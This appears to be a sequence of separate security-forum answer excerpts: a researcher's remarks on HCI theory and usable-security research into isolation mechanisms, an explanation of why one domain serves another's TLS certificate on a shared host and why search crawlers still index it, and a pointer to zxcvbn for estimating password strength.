These are all hard, complex HCI research topics. Some relevant readings include Bardram's Activity-Based Computing project, theories such as Activity-Theory, and pretty much all of the phenomenology-inspired theories and studies in HCI (especially Situated Action and Embodied Interaction). The astonishing majority of security research (including "usable security" research) assume that users are willing or able to focus on security-related tasks and to maintain accurate models of security, and that the existing issues are all solvable with some UI fixes and better "security communication". The research they are doing relies on different theories of human action and different research methods than the ones that are needed to understand how people create and maintain meaning for what they do on computers and to understand how such a meaning can be represented within a computer and transformed into security boundaries. To the best of my knowledge there is no one else investigating the user experience and appropriation of isolation mechanisms at the moment, and I'm afraid I'm not progressing particularly fast :) I don't have any published reports/papers on the topic at the moment, but feel free to ask for clarifications/extensions if you're interested in the topic.


One domain using certificate of other domain

2] Has B.com installed A.com certificate by mistake? 3] ´If so, how can they get private key for that purpose?

Probably A.com and B.com are both hosted at the same server and have the same IP address.  It is a common (mis)configuration of the server that if there is no certificate configured for B.com then it will use a certificate of another domain at the same IP address, in this case A.com. In other words: B.com does not explicitly use the certificate for A.com but it just happens to be the implicit fallback certificate on the host which serves both A.com and B.com.

  1] Now I wonder why this is happening? ... 4] Why Google is showing that website in search results?

It looks like Google's web crawler does not really care about the validity of the certificate when crawling a web site and thus https://B.com ends up to be indexed despite this configuration problem with the content of https://A.com and thus also shows up in the search results with this content. And the crawlers of Microsoft Bing and Baidu seem to ignore invalid certificates too since they also show up in the logs of a domain I explicitly serve for such tests with an invalid certificate.


how is strength of password calculated from standard keyboard patterns?

There are many algorithms and libraries to implement this. Each has its strengths and weaknesses. zxcvbn is one of the more commonly referenced ones. It is reasonably well documented and open source. The best ones use a combination of algorithms and dictionaries of common passwords.